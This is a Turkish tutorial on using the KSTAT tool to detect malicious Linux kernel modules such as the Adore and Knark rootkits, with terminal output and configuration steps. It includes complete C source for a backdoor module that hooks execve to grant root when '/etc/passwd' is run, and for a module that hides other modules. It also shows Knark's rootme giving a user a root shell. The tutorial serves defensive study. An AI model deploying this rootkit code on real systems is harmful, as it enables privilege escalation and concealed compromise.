Tehlikeli modüllerin tespiti [Loadable Kernel Modules - LKMs]

Sisteminizin çalışmasını başlattığınız andan itibaren ve işletim sisteminizin ilk ışıkları gözünüze nüksettikten sonra ardı ardına kesilmeyecek olaylar zinciri meydana gelir. Bilgisayarı sadece donanım olarak düşünmek sanırım onu bir teneke yığınına benzetmekten farksızdır. Kullanıcı ile donanım arasında bağı oluşturan ana etmen yazılımdır. Yazılım öyle bir bağdır ki ya kullanıcının tüm hünerlerini sergilemesini ya da her şeyi bir anda silip süpürmesini sağlar. Donanıma hükmetmek için gerekli komutları yazılım uygular. Bizi yormadan gerekli işlemleri yapan, sisteme yapması gerekenleri büyük bir zevkle bildiren bir bekçi(miz) vardır: Kernel (Çekirdek).

Çekirdeğin yetenekleri arasında işlemlerin (process) yönetilmesi (oluşturma-bekletme-sonlandırma), gerekli olayların yürütülmesi için bellekte yer tahsil edilmesi, dosya sisteminin kontrolü - bakımı (herhangi aksi bir duruma karşı dosyaları koruma) vb. gibi yetenekleri vardır. Öyle ki derlediğimiz modülleri sisteme sonradan ekleyip istediğimiz donanımı sisteme herhangi bir zamanda adapte edebiliriz. Modül uygulamaları çekirdeğe yeni özellikler katar. Her modül sistem yöneticisinin emrinde olmayabilir. Sisteme sızan bir kişi tüm olayları kendine yarar sağlayacak şekilde ayarlar. Örneğin sistemde yetkiyi aldıktan sonra sisteme modül *[LKM - Loadable Kernel Modules]* ekleyerek çeşitli görevlerin yerine getirilmesini sağlar. Bu modülün görevleri arasında; sisteme bağlandığı IP adresinin gizlenmesi (sistemde yetkiyi alan kişiye ait IP), kendisine ait dosyaların diğer kullanıcılardan saklanması, çalıştırdığı uygulamaların gizlenmesi (sniffer, bnc, bot...), sistemde yetkisini muhafaza etme gibi yükümlülükleri yerine sayılabilir.

Amacımız bu tehlike arz eden modülleri tespit etmek (en azından tespit etmeye çalışmak). Bunun için kullanacağımız uygulama olan *KSTAT(Kernel Security Therapy Anti-Trolls)* aracında öncelikle işletim sistemin çekirdeğine göre nasıl ayar yapacağımıza değineceğiz. Sonra çekirdeğe eklenen modüllerin neler olduğunu araştıracağız.

KSTAT (Kernel Security Therapy Anti-Trolls)

Kstat, bir kaç metotla çekirdekteki olağan dışı görünen durumları kontrol eden bir uygulamadır (bu yazılımın WEB adresi kaynaklar kısmında mevcuttur).

Örneğin; `-s` opsiyonu ile sistem çağrılarının (System Calls) bulunması gereken adreslerinde olup olmadığını kontrol eder. Eğer sistemde Adore Rootkit entegre edilmişse '*kstat -s 0*' hareketi bize şu bilgiyi verebilir:

sys_exit 0xc8a64da0 WARNING! should be at 0xc011eae0
sys_fork 0xc8a64870 WARNING! should be at 0xc01078e0
sys_close 0xc8a64c00 WARNING! should be at 0xc0139700
sys_ptrace 0xc8a64b80 WARNING! should be at 0xc010c240
sys_kill 0xc8a649f0 WARNING! should be at 0xc0125260
sys_mkdir 0xc8a64d10 WARNING! should be at 0xc0144dd0
sys_clone 0xc8a64930 WARNING! should be at 0xc0107900
sys_getdents 0xc8a644d0 WARNING! should be at 0xc0147fe0
sys_ni_syscall 0xc8a646a0 WARNING! should be at 0xc0148170

Kstat derlenip çalıştırılmadan önce işletim sisteminin çekirdeğine göre ayar yapılmalıdır. Bu uygulamanın doğru çalışabilmesi için System.map dosyasından değerler alınıp, bir kaç aritmetik (1+1=2 misali :)) işleminden sonra bu elde edilen değerleri *linux.h* (kstat içinde) dosyasına ekleyeceğiz.

Aşağıda anlatacağım ayarlar Mandrake 9.0 'a göre yazılmıştır. Bu anlatılanlar diğer sistemlere uygulanabilir (umudum bu yönde :)).

```
[root@herakleia /]# uname -r
2.4.19-16mdk

[root@herakleia /]# cat /boot/System.map | grep raw_prot
c02931c0 D raw_prot

[root@herakleia /]# cat /boot/System.map | grep inet_stream_ops
...
c0293d20 D inet_stream_ops

[root@herakleia /]# cat /boot/System.map | grep tcp_prot
...
c02930e0 D tcp_prot
```

```
[root@herakleia /]# cat /boot/System.map | grep udp_prot
...
c0293260 D udp_prot

[root@herakleia /]# cat /boot/System.map | grep ioport_resource
...
c025e130 D ioport_resource

[root@herakleia /]# cat /boot/System.map | grep kernel_module
c025e0a0 D kernel_module
```

KSTAT/doc dizini altındaki offset.c dosyasını derledikten (**gcc -o hesapla offset.c**) ve aşağıdaki işlemleri yaptıktan sonra *KSTAT/include/linux.h* dosyasına bulduğumuz değerleri ekleyeceğiz.

TCPOFF değeri için => ***inet_stream_ops*** - ***tcp_prot*** (./hesapla **c0293d20 c02930e0**)
UDPOFF değeri için => ***inet_stream_ops*** - ***udp_prot*** (./hesapla **c0293d20 c0293260**)
RAWOFF değeri için => ***inet_stream_ops*** - ***raw_prot*** (./hesapla **c0293d20 c02931c0**)
HEXOFF değeri için => ***ioport_resource*** - ***kernel_module*** (./hesapla **c025e130 c025e0a0**)

Nihayetinde *KSTAT/include/linux.h* dosyasına şu şekilde eklentiler yapabiliriz:

```
....
....
#if LINUX_VERSION_CODE == KERNEL_VERSION(2,4,19)
#define TCPOFF 3136
#define UDPOFF 2752
#define RAWOFF 2912
#define HEXOFF 144
#elif LINUX_VERSION_CODE == ...
....
....
```

Ayarlar bu kadar, artık uygulamayı derleyebiliriz. Bundan sonraki işlemleri kstat aracınızı derlediğinizi varsayarak anlatıyorum.

KSTAT ile ADORE ROOTKIT Tespiti

Affınıza sığınarak "Rootkit nedir ne değildir?" sorusuna yanıt bulmak için uğraşmayacağım. Bu sorunun yanıtını içeren dokümanlar mevcuttur :)

[root@herakleia /]# **ps -aux** *[1]*
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1288 84 ? S 14:42 0:03 init
root 2 0.0 0.0 0 0 ? SW 14:42 0:00 [keventd]
root 6 0.0 0.0 0 0 ? SW 14:42 0:00 [bdflush]
root 8 0.0 0.0 0 0 ? SW< 14:42 0:00 [mdrecoveryd]
named 1085 0.0 0.4 10108 524 ? S 14:43 0:00 named -u named
named 1089 0.0 0.4 10108 524 ? S 14:43 0:00 named -u named
root 1096 0.0 0.0 3196 16 ? S 14:43 0:00 -:0
root 1110 0.0 0.0 2660 4 ? S 14:43 0:00 /usr/sbin/sshd
...
...
...

[root@herakleia /]# **w**
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 - 2:44pm 3:24m 0.00s ? -

[root@herakleia /]# **lsmod**
Module Size Used by Tainted: P

... .
isofs 25652 0 (autoclean)
inflate_fs 17892 0 (autoclean) [isofs]
udf 85472 0 (autoclean)
... .
nfsd 66576 8 (autoclean)
sunrpc 60188 1 (autoclean) [nfsd lockd]
8139too 14472 1 (autoclean)
usbcore 58304 1 [usb-uhci]
ext3 74004 1
... ...

[root@herakleia Kstat]# **kstat -s 0** [sistem çağrılarını sorgula]

Legal system_call handler should be at 0xc0108fb0 ... OK!
Legal sys_call_table should be at 0xc025c530 ... OK!

sys_exit 0xc8a64da0 WARNING! should be at 0xc011eae0
sys_fork 0xc8a64870 WARNING! should be at 0xc01078e0
sys_close 0xc8a64c00 WARNING! should be at 0xc0139700
sys_ptrace 0xc8a64b80 WARNING! should be at 0xc010c240
sys_kill 0xc8a649f0 WARNING! should be at 0xc0125260
sys_mkdir 0xc8a64d10 WARNING! should be at 0xc0144dd0
sys_clone 0xc8a64930 WARNING! should be at 0xc0107900
sys_getdents 0xc8a644d0 WARNING! should be at 0xc0147fe0
sys_ni_syscall 0xc8a646a0 WARNING! should be at 0xc0148170

Sanırım bu tabloyu görünce biraz düşünmeye başlama zamanı geldi?

Bir de Kstat aracı ile sistemdeki süreçleri görelim.

[root@herakleia Kstat]# **kstat -P** [tüm süreçleri göster]
PID PPID UID GID COMMAND
1 0 0 0 init
2 1 0 0 keventd
. . . . .
. . . . .
4123 1 0 0 bot < ------ ?????
...

Daha önce '**ps -aux** ' *[1]* ile süreç kontrolünde 'bot' konulu sahne görünmemişti. İncelemeyi derinleştirmelim.

[root@herakleia Kstat]# **kstat -M** [çekirdeğe bağlı modül listesini sırala]
Using /lib/modules/misc/knull.o
Module Address Size
knull 0xc8a68000 224
floppy 0xc8b04000 49340
isofs 0xc8a59000 25652
inflate_fs 0xc88ee000 17892
udf 0xc8abf000 85472
nfsd 0xc88d1000 66576
lockd 0xc88c4000 46480
sunrpc 0xc88b4000 60188
8139too 0xc8897000 14472
...

Do you want to scan memory for LKMs ? [y] y

Insert initial address: [0xc8817000] <-------Taramaya hangi adresten itibaren başlanacak ?

Searching Kernel Memory for LKMs from 0xc8817000 to 0xc9a68000
0xc8821000
0xc8824000

0xc8834000
0xc883b000
0xc883f000
0xc8849000
0xc8860000
0xc8897000
0xc8a64000 *[2]*
Probing memory at 0xc8897000

Name: 8139too [Temiz modül ;)]
Size: 14472
Flags: MOD_RUNNING MOD_DELETED MOD_AUTOCLEAN MOD_VISITED MOD_USED_ONCE
First Registered Symbol: __insmod_8139too_O/lib/modules/2.4.19-16mdk/kernel/drivers/net/8139too.o.gz_M3D... at 0xc8897000

[root@herakleia Kstat]# **kstat -m 0xc8a64000** [belirtilen adresteki modül nedir necidir*[2]*]

Probing memory at 0xc8a64000

Name: adore <=== ?? Birileri sistemi ziyarette bulunmuş (Adore R00tkiT)
Size: 10465
Flags: MOD_RUNNING
First Registered Symbol: __insmod_adore_O/home/user/.gizli/bash/adore.o_...E5F25F_V132115 at 0xc8a64000
Bu dizini sorguya almak lazım <------------------------------|
Sonra kendimizi sorgulamamız gerekir. Kendimize soracağımız sual; acaba bu kullanıcı yetkisini nasıl yükseltip sisteme modül yüklemiş.
Yanıtları düşündükten sonra yukarıdaki sonuç sistemdeki önemli dosyaları kontrol etmemiz gerektiği kanısına götürür..

[root@herakleia Kstat]# **rmmod adore** [tehlikeli modülü çekirdekten çıkarıyoruz]

[root@herakleia Kstat]# **ps -aux**
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1288 84 ? S 14:42 0:03 init
root 2 0.0 0.0 0 0 ? SW 14:42 0:00 [keventd]
...
...
user 4123 0.0 0.2 1252 288 ? S 17:45 0:00 ./bot <==????
....
...

'bot' isimli uygulamanın çalıştırılması `user` adlı kullanıcı tarafından çeşitli gözlerden gizlenmiş. Modülü çekirdekten çıkarınca gerçekler ortaya çıktı.

[root@herakleia Kstat]# **kill -9 4123** [gizlenen uygulamayı sonlandırıyoruz]
[dosya büyük olasılıkla 'adore' ile birlikte olan 'ava' ile gizlenmiştir]

Bu işlemlerden sonra sistem çağrılarını kontrol edelim.

[root@herakleia /]# **kstat -s 0**
Legal system_call handler should be at 0xc0108fb0 ... OK!
Legal sys_call_table should be at 0xc025c530 ... OK!
No System Call Address Modified <----- Adresler yerli yerinde imiş.

Adore ile ilgili bir not: Eğer analiz sonucunda belirttiğiniz adreste;

[root@herakleia Kstat]# **kstat -m 0xc88e9000** [belirtilen adresi sorgula]
Probing memory at 0xc88e9000
Name: lamerel
Size: 3784
Flags: MOD_RUNNING
First Registered Symbol: __insmod_lamerel_O/home/user/.gizli/mail/lamerel.o_M3E..._V132115 at 0xc88e9000

lamerel adında modülle karşılaşırsanız büyük ihtimalle bu modülde Adore'nin parçasıdır (versiyon farklılığı).

Unutmadan belirtmemde fayda var. '**kstat -s 0**' ile verilen her bilginin sonucu size ter döktürmesin. Ortaya çıkan WARNING kelimesinin nedeni sizin yüklediğiniz masum modülde olabilir (Gözlemim bu yönde). Örneğin;

[root@herakleia /]# **kstat -s 0**
Legal system_call handler should be at 0xc0108fb0 ... OK!
Legal sys_call_table should be at 0xc025c530 ... OK!

sys_ptrace 0xc88f2060 WARNING! should be at 0xc010c240

Buradaki uyarı sisteminizi ptrace exploitine karşı koruyan modülün uyarısı olabilir ;)

[root@herakleia /]# **lsmod**
Module Size Used by Not tainted
ptrace_kill 628 0 (unused) <= yukarıdaki uyarıya sebep olan modül
isofs 25652 0 (autoclean)
inflate_fs 17892 0 (autoclean) [isofs]
8139too 14472 1 (autoclean)
...
...

KSTAT ile KNARK ROOTKIT Tespiti

[root@test /]# **lsmod**
Module Size Used by Tainted: P
nfsd 66576 8 (autoclean)
lockd 46480 1 (autoclean) [nfsd]
sunrpc 60188 1 (autoclean) [nfsd lockd]
8139too 14472 1 (autoclean)
...
scsi_mod 90372 1 [ide-scsi]
usb-uhci 21676 0 (unused)
usbcore 58304 1 [usb-uhci]
..

[root@test /]# **kstat -s 0**
Legal system_call handler should be at 0xc0108fb0 ... OK!
Legal sys_call_table should be at 0xc025c530 ... OK!

sys_fork 0xc88e9750 WARNING! should be at 0xc01078e0
sys_read 0xc88e99fc WARNING! should be at 0xc0139f40
sys_execve 0xc88e9e00 WARNING! should be at 0xc0107950
sys_kill 0xc88e9810 WARNING! should be at 0xc0125260
sys_ioctl 0xc88e9894 WARNING! should be at 0xc01477a0
sys_settimeofday 0xc88e9ce0 WARNING! should be at 0xc011f920
sys_clone 0xc88e97b0 WARNING! should be at 0xc0107900
sys_getdents 0xc88e94a8 WARNING! should be at 0xc0147fe0
sys_ni_syscall 0xc88e95e4 WARNING! should be at 0xc0148170

!!!! ortalık celallenmiş....

[root@test Kstat]# **kstat -M**
Using /lib/modules/misc/knull.o
Module Address Size
...
knull 0xc88ec000 224
nfsd 0xc88d1000 66576
lockd 0xc88c4000 46480
sunrpc 0xc88b4000 60188
8139too 0xc8897000 14472
nls_cp857 0xc8849000 3324
...
supermount 0xc8881000 14340
...

usbcore 0xc8824000 58304
rtc 0xc8821000 6560
ext3 0xc880d000 74004
jbd 0xc8802000 38452
....

Do you want to scan memory for LKMs ? [y]

Insert initial address: [0xc8823000] <--- Taramaya nereden başlayayım?
Searching Kernel Memory for LKMs from 0xc8823000 to 0xc98ec000
...
...
0xc88c4000
0xc88d1000
0xc88e9000 *[*]*

Insert address to probe: 0xc88e9000 <------ Şu adrese bir göz atıver... *[*]*

Probing memory at 0xc88e9000

Name: knark
Size: 8140
Flags: MOD_RUNNING
First Registered Symbol: __insmod_knark_O/home/a/.gizli/knark-2.4.3/knark.o_M3E...V132115 at 0xc88e9000

Eğer Knark modül sisteme eklenmişse normal bir kullanıcı olarak bağlandıktan sonra, knark'in komşusu olan '**rootme**' dosyası çalıştırıldığında kullanıcı knark modülü vasıtasıyla sistemde root olur.

[root@herakleia /]# **ssh -l a test**
a@test's password:

[a@test knark-2.4.3]$ **ls -la**
toplam 204
...
-rw-r--r-- 1 .. knark.o
-rw-r--r-- 1 .. Makefile
-rwxr-xr-x 1 .. mkmod*
-r-xr-xr-x 1 .. modhide.c*
..
-rwxr-xr-x 1 .. nethide*
-rw-r--r-- 1 .. output
-rw-r--r-- 1 .. README
-rw-r--r-- 1 .. README.cyberwinds
-rwxr-xr-x 1 .. rexec*
-rwxr-xr-x 1 .. rootme*
drwxr-xr-x 2 .. src/
-rw-r--r-- 1 .. syscall.c
-rw-r--r-- 1 .. syscall.o
-r--r--r-- 1 .. syscall_table.txt
-rwxr-xr-x 1 .. taskhack*
-rwxr-xr-x 1 .. unhidef*

[a@test knark-2.4.3]$ **./rootme**
rootme.c by Creed
Port to 2.4 by Cyberwinds
Usage:
./rootme <path> [args ...]
ex: ./rootme /bin/sh

[a@test knark-2.4.3]$ **./rootme /bin/sh**
rootme.c by Creed
Port to 2.4 by Cyberwinds
Do you feel lucky today, hax0r?

[root@test knark-2.4.3]# <----????
[çekirdeğe **knark.o** eklenirse bu işlem gerçekleşir]

Çeşitli tespitler

[root.c]

```
#include ...
...
int (*old_execve)(struct pt_regs);
extern void *sys_call_table[];
#define ROOTSHELL "[rootshell] "
char magic_cmd[] = "/bin/sh";
int new_execve(struct pt_regs regs) {
int error;
char * filename, *new_exe = NULL;
char hacked_cmd[] = "/etc/passwd";
lock_kernel();
filename = getname((char *) regs.ebx);
printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n",
filename,
current->uid, current->euid, current->suid, current->fsuid,
current->gid, current->egid, current->sgid, current->fsgid);
error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
printk(ROOTSHELL " Got it:)))\n");
current->uid = current->euid = current->suid =
current->fsuid = 0;
current->gid = current->egid = current->sgid =
current->fsgid = 0;
cap_t(current->cap_effective) = ~0;
cap_t(current->cap_inheritable) = ~0;
cap_t(current->cap_permitted) = ~0;
new_exe = magic_cmd;
} else
new_exe = filename;
error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx,
& regs);
if (error == 0)
#ifdef PT_DTRACE /* 2.2 vs. 2.4 */
current->ptrace &= ~PT_DTRACE;
#else
current->flags &= ~PF_DTRACE;
#endif
putname(filename);
out:
unlock_kernel();
return error;
}
int init_module(void)
{
lock_kernel();
printk(ROOTSHELL "Loaded:)\n");
#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
sys_call_table[__NR_##x] = new_##x
REPLACE(execve);
unlock_kernel();
return 0;
}
```

```
void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
RESTORE(execve);
printk(ROOTSHELL "Unloaded:(\n");
}
```

Yukarıdaki kodun modül olarak derlenmesinden sonra çekirdeğe eklendiğini farz edelim. Bu modülün eklenmesine karşın `kstat -s 0` hareketinin verdiği tepki:

[root@herakleia test]# **kstat -s 0**

Legal system_call handler should be at 0xc0108fb0 ... OK!
Legal sys_call_table should be at 0xc025c530 ... OK!

sys_execve 0xc88e9060 WARNING! should be at 0xc0107950

[root@herakleia test]# **kstat -M** [çekirdeğe bağlı modül listesini sırala]
Using /lib/modules/misc/knull.o
Module Address Size
knull 0xc88eb000 224
root 0xc88e9000 1212 <--- eklenen modül burada (gizlenmemiş)
...
nfsd 0xc88d1000 66576
lockd 0xc88c4000 46480
sunrpc 0xc88b4000 60188
...

Insert address to probe: 0xc88e9000 <--Bu adrese bakıver..

Name: root
Size: 1212
Flags: MOD_RUNNING
First Registered Symbol: __insmod_root_S.data_L8 at 0xc88e94b0

Bu modül sisteme ne derece etkili olur onu görelim.

[root@herakleia /]# **ssh -l user test**
user@test's password:

[user@test user]$ **id**
uid=502(user) gid=502(user) gruplar=502(user)
[user@test user]$
[user@test user]$ **/etc/passwd** ----------|
[root@test user]# <----------| ????
[root@test user]# **id**
uid=0(root) gid=0(root) gruplar=502(user)

Bu modül, eğer her kim katıksız /etc/passwd derse sistemde yetkili durumuna geçiriyor. Başka bir deyişle sistemde root olmak istiyorsa önce sihirli söz olan /etc/passwd demesi gerekiyor. Tabii ki modül çekirdeğe eklenmişse :)

[root@test tmp]# **strings root.o** *[3]*
[^_]
/bin/sh
kernel_version=2.4.19-16mdk
/etc/passwd
[rootshell] .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)
[rootshell] Got it:)))
[rootshell] Loaded:)
[rootshell] Unloaded:(

Eğer yönetici sistemde bir modül rastlar ve *[3]* nolu formülü uyguladığında buna benzer bir karakter içeriği alıyorsa bu

tabloyu meydana getireni ve kendini sorguya çekmesinin zamanı geldiğini düşünmeli (Bu modül sistem loglarında kendini açıkca belli ediyor).

[hmod.c]

```
#include ...
...
char *hide;
long show=0;
EXPORT_NO_SYMBOLS;
int init_module(void) {
struct module *corr, *prec;
if(!hide) // if there is no module to hide
{
if(show) // if there is a module to restore
{
((struct module *)show)->next =
__this_module.next;
__this_module.next = (struct module *)show;
}
return -1;
}
else;
prec = corr = &__this_module;
while(corr!=NULL) // find the module to hide
{
if(strequals(corr->name, hide))
{
printk("0x%p\n", corr);
prec->next = corr->next; // and broke the links...
}
prec = corr;
corr = corr->next;
}
return -1;
}
// Compare two strings
int strequals(const char s1[], const char s2[])
{
int i;
for(i=0; (s1[i]==s2[i])&&s1[i]&&s2[i]; i++);
return (s1[i]==s2[i]);
}
```

Yukarıdaki kod modül olarak derlendikten sonra çekirdeğe eklenmiş başka bir modülü yöneticinin gözlerinden saklamak için kullanılır.

Kullanım şekli:
insmod hmod.o hide=<saklanacak_modül_adı>

[root@test tmp]# **lsmod**
Module Size Used by Tainted: P
root 1228 0 (unused) <---------- vaziyet ortada
es1371 26568 1
soundcore 3780 0 [es1371]
ac97_codec 9928 0 [es1371]
gameport 1660 0 [es1371]
nfsd 66576 8 (autoclean)
lockd 46480 1 (autoclean) [nfsd]
....

[root@test tmp]# **insmod hmod.o hide=root**

[root@test tmp]# **lsmod**
Module Size Used by Tainted: P
es1371 26568 1
soundcore 3780 0 [es1371]
ac97_codec 9928 0 [es1371]
gameport 1660 0 [es1371]
nfsd 66576 8 (autoclean)
lockd 46480 1 (autoclean) [nfsd]
....
'**root**' isimli modül gözlerden gizlenmiştir.

Kstat ile incelemeye başlayalım.

[root@test hmod]# **kstat -s 0**
Legal system_call handler should be at 0xc0108fb0 ... OK!
Legal sys_call_table should be at 0xc025c530 ... OK!

sys_execve 0xc88e9060 WARNING! should be at 0xc0107950

[root@test hmod]# **kstat -M**
Using /lib/modules/misc/knull.o
Module Address Size
knull 0xc88eb000 224
es1371 0xc88ab000 26568
soundcore 0xc88a9000 3780
ac97_codec 0xc88a5000 9928
gameport 0xc88a3000 1660
...

Searching Kernel Memory for LKMs from 0xc8829000 to 0xc98eb000
0xc8834000
....
0xc88ab000
0xc88b4000
0xc88c4000
0xc88d1000
0xc88e9000

Insert address to probe: 0xc88e9000

Probing memory at 0xc88e9000
Name: root
Size: 1228
Flags: MOD_RUNNING
First Registered Symbol: __insmod_root_S.data_L8 at 0xc88e94c0
Do you want to make this LKM removable ? [y] y

[root@test root]# **lsmod**
Module Size Used by Tainted: P
es1371 26568 0
soundcore 3780 0 [es1371]
root 1228 0 (unused) <---------- ??? Açığa çıktı?

[root@test root]# **rmmod root**

[root@test root]# **kstat -s 0**
Legal system_call handler should be at 0xc0108fb0 ... OK!
Legal sys_call_table should be at 0xc025c530 ... OK!

No System Call Address Modified <--- Sakıncalı durum yok(muş)

Çekirdeğe bağlanmış modülleri gizleyen 'hmod' un içerdiği karakter listesi:

```
[root@test hmod]# strings hmod.o
kernel_version=2.4.19-16mdk
author=amlet0
description=LKM which hides other LKMs (vers. 0.2)
license=GPL
parm_hide=s
parm_desc_hide=LKM's name to hide
parm_show=l
parm_desc_show=Address of LKM to restore
0x%p
```

Sonuç itibariyle çekirdek modülleri sisteme yeni özellikler katmasının yanında kötü emellere alet edilebilmektedirler. İnternet dünyasında bu kötü emellere alet edilecek modül uygulamaları bulmak sorun değildir. Önemli olan sistem yöneticilerin bu modül uygulamalarının sistemde ne tür vukuatlara yol açacaklarını bilmeleridir.

`Kernel panic´siz günler dileğiyle...

Tacettin Karadeniz
<tacettink[@]olympos.org>

Kaynaklar

http://www.s0ftpj.org/tools/kstat24_v1.1-2.tgz
http://www.s0ftpj.org/docs/lkm.htm
http://www.incident-response.org/LKM.htm
http://www.linuxfocus.org/English/November2002/article263.shtml
http://packetstormsecurity.nl